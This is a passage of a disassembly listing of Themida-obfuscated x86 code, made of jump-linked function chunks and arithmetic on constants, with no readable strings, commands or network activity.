; START	OF FUNCTION CHUNK FOR sub_599F38


loc_59CF97:				; CODE XREF: sub_599F38-35F0j
		add	[esp+0Ch+var_8], edi
		pop	edi
		jmp	loc_591313
; END OF FUNCTION CHUNK	FOR sub_599F38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59CFA1:				; CODE XREF: sub_59390B+F0A0j
		xchg	ebx, [esp-0Ch+arg_4]
		pop	esp
		pop	ebx
		xchg	ecx, ebx
		not	ecx
		jmp	loc_59229B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59CFAF:				; CODE XREF: Themida_:0059B445j
		pop	edi
		not	ebx
		xor	ebx, 0ED81F4CCh
		push	ebx
		xor	dword ptr [esp], 44A6106Dh
		pop	ebp
		xor	ebp, 44A6106Dh
		pop	ebx
		add	[esp+4], ebp
		mov	ebp, [esp]
		jmp	loc_59ADB4

; =============== S U B	R O U T	I N E =======================================



sub_59CFD4	proc near		; CODE XREF: sub_59390B+299j

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00590B18 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00590C89 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00590E81 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005926DA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00592740 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00592E08 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005945F6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00594BE0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00595028 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005950C8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005954D4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00595BD0 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00595F7A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005969B6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00597408 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597C32 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00599BDA SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059A7E5 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 0059AA5C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059B825 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059CEA0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059D512 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D6D8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059D757 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D878 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059DF29 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059E3A8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059E3DD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059FBB6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A014A SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A0463 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A04AA SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A073E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A0A4A SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005A108B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A10F7 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 005A359C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A401A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A421C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A571C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A5850 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A58C6 SIZE 00000026 BYTES

		sub	esp, 4
		jmp	loc_5945F6
sub_59CFD4	endp

; ---------------------------------------------------------------------------


loc_59CFDC:				; CODE XREF: Themida_:00591D75j
		pop	ecx
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	esi
		push	esp
		pop	esi
		jmp	loc_599DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C8A4


loc_59CFEF:				; CODE XREF: sub_59C8A4-B5F5j
		shl	eax, 8
		sub	eax, 21892FFFh
		sub	ebx, eax
		pop	eax
		inc	ebx
		shl	ebx, 1
		push	ebp
		mov	ebp, 0BBD024Ah
		sub	ebp, 6EA50E00h
		and	ebp, 97730E9h
		jmp	loc_592785
; END OF FUNCTION CHUNK	FOR sub_59C8A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21DE


loc_59D014:				; CODE XREF: sub_5A21DE-8866j
		shr	ebx, 6
		add	ebx, 0FEBE1F1Eh
		jmp	loc_5A2FD0
; END OF FUNCTION CHUNK	FOR sub_5A21DE
; ---------------------------------------------------------------------------


loc_59D022:				; CODE XREF: Themida_:00593577j
		push	edx
		mov	dl, 52h
		sub	dl, 67h
		push	ecx
		push	eax
		jmp	loc_5A3C7A

; =============== S U B	R O U T	I N E =======================================



sub_59D02F	proc near		; CODE XREF: sub_59333E+A6ADj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005975BB SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00598E14 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059D108 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A0641 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A16A9 SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		sub	esp, 4
		jmp	loc_5A16A9
sub_59D02F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595949


loc_59D03D:				; CODE XREF: sub_595949+AB04j
		push	edi
		jmp	loc_591326
; END OF FUNCTION CHUNK	FOR sub_595949
; ---------------------------------------------------------------------------


loc_59D043:				; CODE XREF: Themida_:0059D1E7j
		add	ebx, 0AAAA35Ah
		mov	esi, ebx
		pop	ebx
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5A2E69
; ---------------------------------------------------------------------------


loc_59D05A:				; CODE XREF: Themida_:005A4F4Aj
		sub	esi, 818AA519h
		mov	edi, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		push	ebp
		jmp	loc_59590F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_59D075:				; CODE XREF: sub_591FC5+D06j
		push	cx
		push	ax
		mov	al, dh
		mov	dh, byte ptr [esp+8+var_8+3]
		mov	byte ptr [esp+8+var_8+3], al
		pop	ax
		xor	dh, ah
		jmp	loc_5A3F83
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D08C:				; CODE XREF: sub_59390B+2B15j
		pop	esi
		add	esp, 4
		xor	ecx, [esp+0]
		jmp	loc_594B95
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594DA8


loc_59D09B:				; CODE XREF: sub_594DA8+7688j
		add	esp, 4
		xor	esi, [esp+4+var_4]
		xor	[esp+4+var_4], esi
		xor	esi, [esp+4+var_4]
		jmp	loc_59B191
; END OF FUNCTION CHUNK	FOR sub_594DA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D0AF:				; CODE XREF: sub_59390B+419Aj
		xor	esi, 7ABA3997h
		jmp	loc_59FF74
; ---------------------------------------------------------------------------


loc_59D0BA:				; CODE XREF: sub_59390B+ED66j
		dec	eax
		or	eax, 2E8E1F72h
		inc	eax
		add	eax, 0D461148Ch
		mov	ebx, eax
		pop	eax
		not	ebx
		jmp	loc_59A78F
; ---------------------------------------------------------------------------


loc_59D0D0:				; CODE XREF: sub_59390B+A36j
		mov	ebx, [esp+0Eh+var_10+2]
		jmp	loc_5A033A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59D0D8:				; CODE XREF: Themida_:005A3665j
		mov	esi, 252E2E3Ch
		mov	eax, 3F62F58Ch
		add	eax, esi
		jmp	loc_594914
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_59D0E9:				; CODE XREF: sub_59FD45-8DB2j
		shr	edx, 1
		jmp	loc_5A5824
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964AF


loc_59D0F0:				; CODE XREF: sub_5964AF+33DAj
		mov	[esp-8+arg_4], ecx
		jmp	loc_59917C
; END OF FUNCTION CHUNK	FOR sub_5964AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_59D0F8:				; CODE XREF: sub_59FCCB+36A9j
		not	cl
		shl	cl, 5
		xor	cl, 23h
		sub	bl, 63h
		jmp	loc_59326D
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D02F


loc_59D108:				; CODE XREF: sub_59D02F+3625j
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		push	6A11h
		mov	[esp+0Ch+var_C], ebx
		sub	[esp+0Ch+var_C], 12AC71C2h
		jmp	loc_5975BB
; END OF FUNCTION CHUNK	FOR sub_59D02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C8E


loc_59D122:				; CODE XREF: sub_597C8E+B307j
		mov	[esp+0], esi
		jmp	loc_59B3EC
; END OF FUNCTION CHUNK	FOR sub_597C8E
; ---------------------------------------------------------------------------


loc_59D12A:				; CODE XREF: Themida_:00595C4Cj
		sub	edi, edx
		pop	edx
		mov	eax, edi
		pop	edi
		sub	eax, 67C558D9h
		xor	eax, 0AF0271h
		add	eax, 26DAF6F7h
		add	ecx, eax
		pop	eax
		push	edx
		mov	edx, 21AA5CDFh
		push	esi
		mov	esi, 7FF95430h
		neg	esi
		xor	esi, 4FA178B5h
		xor	esi, 3CB82F1Dh
		inc	esi
		sub	esi, 0C79CD044h
		and	edx, esi
		mov	esi, [esp]
		jmp	loc_59113E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59886E


loc_59D16D:				; CODE XREF: sub_59886E+3F9Cj
		pop	eax
		add	ebx, 70C17008h
		neg	ebx
		jmp	loc_593A80
; END OF FUNCTION CHUNK	FOR sub_59886E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5969DC


loc_59D17B:				; CODE XREF: sub_5969DC-4C7Bj
		add	edi, 0B34CB76Eh
		jmp	loc_591667
; END OF FUNCTION CHUNK	FOR sub_5969DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_59D186:				; CODE XREF: sub_59FCCB-D590j
		inc	ah
		shr	ah, 5
		jmp	loc_598D6D
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------


loc_59D190:				; CODE XREF: Themida_:00599519j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A5308
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5971C0


loc_59D19B:				; CODE XREF: sub_5971C0+29B2j
		sub	ebx, eax
		jmp	loc_5A3E2A
; END OF FUNCTION CHUNK	FOR sub_5971C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D1A2:				; CODE XREF: sub_59390B+4D34j
		sub	edx, 5515ADFh
		pop	eax
		add	edx, 2
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		push	bx
		push	7BEAh
		jmp	loc_599B77
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_59D1BE:				; CODE XREF: sub_594A8D+5956j
		add	ebx, esi
		mov	esi, [esp+8+var_8]
		add	esp, 4
		push	6E7h
		mov	[esp+8+var_8], esi
		push	edi
		mov	edi, 3A240802h
		jmp	loc_599651
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_59AEA9
; ---------------------------------------------------------------------------


loc_59D1E2:				; CODE XREF: Themida_:00592A94j
		mov	ebx, 6E5475D9h
		jmp	loc_59D043
; ---------------------------------------------------------------------------


loc_59D1EC:				; CODE XREF: Themida_:0059271Cj
		push	eax
		mov	al, 0F8h
		inc	al
		jmp	loc_5A4F1B
; ---------------------------------------------------------------------------


loc_59D1F6:				; CODE XREF: Themida_:005953D6j
		pop	esi
		jmp	loc_596F65

; =============== S U B	R O U T	I N E =======================================



sub_59D1FC	proc near		; CODE XREF: sub_59F401-575Cj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00594F87 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00595030 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00595A1F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596C78 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059A1DC SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059A39C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059B7BA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059BFBD SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0059C70F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059CF8E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059FEFC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A162E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A18CE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A28EE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A4024 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A449A SIZE 00000015 BYTES

		push	ebx
		mov	ebx, 47B25B55h
		jmp	loc_594F87
sub_59D1FC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59D207:				; CODE XREF: Themida_:005A1968j
		inc	edi
		jmp	loc_599171
; ---------------------------------------------------------------------------


loc_59D20D:				; CODE XREF: Themida_:005A25BAj
		push	eax
		push	ecx
		mov	ecx, 11DE5AADh
		mov	eax, 11DE5AA9h
		jmp	loc_595421
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D21E:				; CODE XREF: sub_59390B+734Aj
		push	eax
		mov	al, 0B8h
		shl	al, 2
		and	al, 0DAh
		jmp	loc_591642
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59D22B:				; CODE XREF: Themida_:00598BC4j
		mov	esi, 29AD5A9Ch
		mov	edx, esi
		pop	esi
		push	esi
		jmp	loc_5986E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591745


loc_59D239:				; CODE XREF: sub_591745+F5DFj
		push	esi
		not	[esp+0Ch+var_C]
		pop	esi
		jmp	loc_593DB5
; END OF FUNCTION CHUNK	FOR sub_591745
; ---------------------------------------------------------------------------


loc_59D243:				; CODE XREF: Themida_:00594B22j
		pop	edi
		xor	edx, edi
		push	dword ptr [esp]
		jmp	loc_59B54F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D24E:				; CODE XREF: sub_59390B+5D60j
		pop	ebx
		add	esi, 5EDB3F25h
		jmp	loc_59B41B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A23FB


loc_59D25A:				; CODE XREF: sub_5A23FB-889Dj
		push	edx
		mov	edx, 37416B39h
		jmp	loc_59D8A8
; END OF FUNCTION CHUNK	FOR sub_5A23FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_59D265:				; CODE XREF: sub_59CAFB+3E14j
		add	esi, edx
		jmp	loc_595689
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------


loc_59D26C:				; CODE XREF: Themida_:0059DB57j
		shl	eax, 4
		jmp	loc_598BFB
; ---------------------------------------------------------------------------


loc_59D274:				; CODE XREF: Themida_:005A0FADj
		sub	ebp, eax
		pop	eax
		jmp	loc_59399C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D27C:				; CODE XREF: sub_59390B+10643j
		add	bl, 38h
		mov	dx, word ptr [esp+0Ch+var_C]
		push	151h
		jmp	loc_596476
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59D28D:				; CODE XREF: Themida_:0059DADAj
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_59EAB8

; =============== S U B	R O U T	I N E =======================================



sub_59D29C	proc near		; CODE XREF: sub_595949+AF82j

; FUNCTION CHUNK AT 005A4035 SIZE 00000015 BYTES

		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		jmp	loc_5A4035
sub_59D29C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D2AA:				; CODE XREF: sub_59390B+D7E7j
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	[esp+14h+var_14]
		push	[esp+18h+var_18]
		pop	eax
		push	edx
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp+0], edi
		jmp	loc_592EA7
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AB43


loc_59D2CA:				; CODE XREF: sub_59AB43+4B99j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5924F8
; END OF FUNCTION CHUNK	FOR sub_59AB43
; ---------------------------------------------------------------------------


loc_59D2D7:				; CODE XREF: Themida_:0059AB33j
		shl	edx, 2
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_597348
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_59D2E8:				; CODE XREF: sub_59E918-A39Cj
		pop	edx
		jmp	loc_5A2E8A
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_59D2EE:				; CODE XREF: sub_594D13+1CF8j
		mov	esp, [esp-8+arg_4]
		cmp	cx, ax
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_594D13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D2FA:				; CODE XREF: sub_59390B+2E0Bj
		mov	[esp+0], eax
		add	dword ptr [esp+0], 7EF979BEh
		pop	edx
		push	ebx
		mov	ebx, 7EF979BEh
		sub	esp, 4
		jmp	loc_5922F1
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59D313:				; CODE XREF: Themida_:0059B98Aj
		mov	esi, 4963018Dh
		and	esi, 3D7C0EC1h
		jmp	loc_598544
; ---------------------------------------------------------------------------


loc_59D323:				; CODE XREF: Themida_:0059BAFDj
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		jmp	loc_5A44F2
; ---------------------------------------------------------------------------


loc_59D32E:				; CODE XREF: Themida_:005A0B02j
		push	575Eh
		mov	[esp], edx
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 627B237Ch
		shl	ecx, 6
		and	ecx, 1EEB7FCCh
		xor	ecx, 3F5E34A8h
		push	ebp
		jmp	loc_592DDD
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D369:				; CODE XREF: sub_59390B-1EE7j
		mov	ecx, 4A3301D7h
		sub	eax, 6ECA5173h
		sub	eax, ecx
		jmp	loc_5A0A7E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_59D37A:				; CODE XREF: sub_599AE1+51A7j
		xchg	edx, [esp+4+var_4]
		pop	esp
		jmp	loc_594F29
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_59D383:				; CODE XREF: sub_59A4D6+8A02j
		add	esp, 4
		and	eax, edi
		jmp	loc_5A00D8
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2552


loc_59D390:				; CODE XREF: sub_5A2552-3545j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		mul	ecx
		jmp	loc_599E8C
; END OF FUNCTION CHUNK	FOR sub_5A2552
; ---------------------------------------------------------------------------


loc_59D3A3:				; CODE XREF: Themida_:005A1BFEj
		xor	ch, 0B2h
		sub	bh, ch
		pop	ecx
		push	edx
		jmp	loc_59E331
; ---------------------------------------------------------------------------


loc_59D3AF:				; CODE XREF: Themida_:005920A4j
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59D3B4:				; CODE XREF: Themida_:0059995Aj
		sub	edi, 0C46E4452h
		sub	eax, edi
		pop	edi
		jmp	loc_59FBD4
; ---------------------------------------------------------------------------


loc_59D3C2:				; CODE XREF: Themida_:0059F038j
		sub	edx, eax
		pop	eax
		add	edx, 46302D8h
		sub	edx, 5F2A76BEh
		mov	eax, [esp]
		jmp	loc_596B04
; ---------------------------------------------------------------------------


loc_59D3D9:				; CODE XREF: Themida_:005A0D11j
		add	ebx, edi
		jmp	loc_591DC7
; ---------------------------------------------------------------------------


loc_59D3E0:				; CODE XREF: Themida_:005A37DDj
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59D3E9:				; CODE XREF: Themida_:005973E5j
		push	ebx
		push	eax
		mov	ah, dl
		mov	bh, ah
		pop	eax
		mov	dl, [esp+4]
		jmp	loc_59B01F
; ---------------------------------------------------------------------------


loc_59D3F9:				; CODE XREF: Themida_:00594ECDj
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	eax
		push	eax
		mov	ah, 12h
		push	ebx
		mov	bh, 0Ah
		sub	bh, 0B1h
		or	ah, bh
		pop	ebx
		jmp	loc_5977D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D412:				; CODE XREF: sub_59390B+5B2Fj
		pop	esp
		mov	[edx], al
		pop	edx
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59D41B:				; CODE XREF: Themida_:00599D3Dj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	ebx
		push	65CB1342h
		pop	ebx
		sub	ebx, 67BA4A27h
		add	ebx, 1A554B95h
		sub	ebx, 186614ACh
		mov	eax, ebx
		pop	ebx
		add	edx, 463D0EFDh
		add	edx, eax
		sub	edx, 463D0EFDh
		pop	eax
		push	eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp]
		jmp	loc_594154
; ---------------------------------------------------------------------------


loc_59D46F:				; CODE XREF: Themida_:0059A21Cj
		pop	esp
		mov	cx, [esp]
		jmp	loc_5957BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59731A


loc_59D479:				; CODE XREF: sub_59731A+D335j
		pop	eax
		sub	esi, edi
		pop	edi
		add	esi, eax
		add	esi, 3D5F5AB1h
		mov	eax, [esp+0]
		push	ecx
		mov	ecx, esp
		jmp	loc_5A5685
; END OF FUNCTION CHUNK	FOR sub_59731A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D490:				; CODE XREF: sub_59390B+4BF4j
		add	edx, 4
		add	edx, 4
		jmp	loc_5953AF
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59D49E:				; CODE XREF: Themida_:00592C44j
		push	dword ptr [esp]
		jmp	loc_5A2124
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_59D4A6:				; CODE XREF: sub_59A431-6BD3j
		mov	ebp, 4
		add	esi, ebp
		mov	ebp, [esp+10h+var_10]
		push	ecx
		jmp	loc_59FC24
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59333E


loc_59D4B6:				; CODE XREF: sub_59333E+DD19j
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_59D9F0
; END OF FUNCTION CHUNK	FOR sub_59333E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_59D4CB:				; CODE XREF: sub_599AE1-4B9Fj
		pop	ebx
		add	[esp-4+arg_4], eax
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		mov	ebx, [esp-8+arg_4]
		add	esp, 4
		push	ebp
		mov	ebp, 7B0E7B04h
		sub	ebx, 1B5783Ah
		jmp	loc_5A3DBA
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_59D4ED:				; CODE XREF: sub_59FD45-E598j
		push	edi
		push	esp
		pop	edi
		jmp	sub_59FA27
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590AC5


loc_59D4F5:				; CODE XREF: sub_590AC5+Aj
		push	[esp-4+arg_0]
		jmp	loc_59FAC8
; END OF FUNCTION CHUNK	FOR sub_590AC5
; ---------------------------------------------------------------------------


loc_59D4FD:				; CODE XREF: Themida_:0059DE0Bj
		sub	dl, 0ADh
		add	bl, dl
		mov	edx, [esp]
		add	esp, 4
		add	al, bl
		pop	ebx
		sub	al, 0B4h
		jmp	loc_5A1CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_59D512:				; CODE XREF: sub_59CFD4-73EDj
		add	ebx, 4
		xor	ebx, [esp+10h+var_10]
		jmp	loc_59D757
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D51D:				; CODE XREF: sub_59390B+11B1Ej
		add	eax, 4
		add	eax, 4
		xor	eax, [esp-14h+arg_C]
		xor	[esp-14h+arg_C], eax
		xor	eax, [esp-14h+arg_C]
		jmp	loc_5A2524
; ---------------------------------------------------------------------------


loc_59D535:				; CODE XREF: sub_59390B-15E4j
		pop	cx
		jmp	loc_59FFCE
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5995FC


loc_59D53C:				; CODE XREF: sub_5995FC-4AB7j
		mov	dl, 43h
		jmp	loc_5A0FD4
; END OF FUNCTION CHUNK	FOR sub_5995FC
; ---------------------------------------------------------------------------


loc_59D543:				; CODE XREF: Themida_:0059DE55j
		xor	ebp, ebx
		jmp	loc_5955D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59822A


loc_59D54A:				; CODE XREF: sub_59822A+54j
		sub	eax, ebx
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		sub	eax, 70B9668Bh
		add	eax, edx
		jmp	loc_59AAEC
; END OF FUNCTION CHUNK	FOR sub_59822A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_59D55E:				; CODE XREF: sub_599AE1-562Ej
		neg	ebx
		shl	ebx, 6
		xor	ebx, 72840B27h
		xor	eax, ebx
		pop	ebx
		push	edx
		push	70CBh
		mov	[esp+10h+var_10], edi
		mov	edi, 2544BFFh
		mov	edx, 6B95D933h
		add	edx, edi
		jmp	loc_5A2BC6
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------


loc_59D586:				; CODE XREF: Themida_:0059FB46j
		push	ecx
		mov	ecx, 7762429Bh
		jmp	loc_59C3C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599F46


loc_59D591:				; CODE XREF: sub_599F46+11j
		add	ebp, 4
		push	ebp
		jmp	loc_5A121E
; END OF FUNCTION CHUNK	FOR sub_599F46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F53F


loc_59D59D:				; CODE XREF: sub_59F53F-3C4Bj
		sub	edi, eax
		push	ecx
		jmp	sub_59A905
; END OF FUNCTION CHUNK	FOR sub_59F53F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59D5A5:				; CODE XREF: sub_59390B+108D4j
		mov	[esp-1Ch+arg_14], ebx
		mov	ebx, esp
		push	1761h
		mov	[esp-18h+arg_10], edx
		mov	edx, 4
